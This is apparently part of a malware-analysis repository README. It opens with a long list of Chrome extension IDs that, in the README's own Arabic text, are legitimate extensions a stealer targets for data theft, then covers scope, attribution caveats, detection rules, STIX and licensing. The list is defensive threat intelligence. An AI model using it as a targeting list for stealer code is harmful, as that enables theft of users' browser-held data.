kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
النطاق والقيود
- يوثق هذا المستودع التحليل الثابت وفك التشفير لعينة برمجية خبيثة واحدة وتكوينها المضمن.
- إسناد الحملة هو تحليلي، استنادًا إلى البنية التحتية المستعادة وتداخل تكتيكات وتقنيات وإجراءات (TTP)؛ وهو ليس بيان إسناد من جهة إنفاذ القانون.
- تحدد معرفات إضافات Chrome المدرجة إضافات شرعية تم استهدافها لسرقة البيانات، وليست إضافات خبيثة.
- يجب التحقق من صحة قواعد الكشف وضبطها في البيئة الهدف قبل النشر الإنتاجي.
- تتبع حزمة STIX معيار STIX 2.1 ولكنها تستخدم معرفات مبسطة لسهولة القراءة؛ أعد إنشاء UUIDs قبل الاستيراد إلى منصات CTI الإنتاجية إذا كان مطلوبًا حل التعارضات.
سجل الإصدارات
انظر CHANGELOG.md للحصول على التحديثات المُرقّمة.
المساهمة
انظر CONTRIBUTING.md للحصول على الإرشادات وقوالب المشكلات وقائمة مراجعة طلبات السحب.
الترخيص
نصوص التحليل والبرامج النصية منشورة بموجب رخصة MIT. يتم توفير قوائم مؤشرات الاختراق (IOC) ومحتوى استخبارات التهديدات للأغراض الدفاعية؛ يُسمح بإعادة الاستخدام في المنتجات التجارية بموجب شروط الترخيص.
هندسة عكسية مستقلة في بيئة معزولة. تم استرداد التكوين المشفر عن طريق التحليل الثابت ومحاكاة وحدة المعالجة المركزية (CPU) لكل مساعد. انظر scripts/decrypt_all.py و SECURITY.md.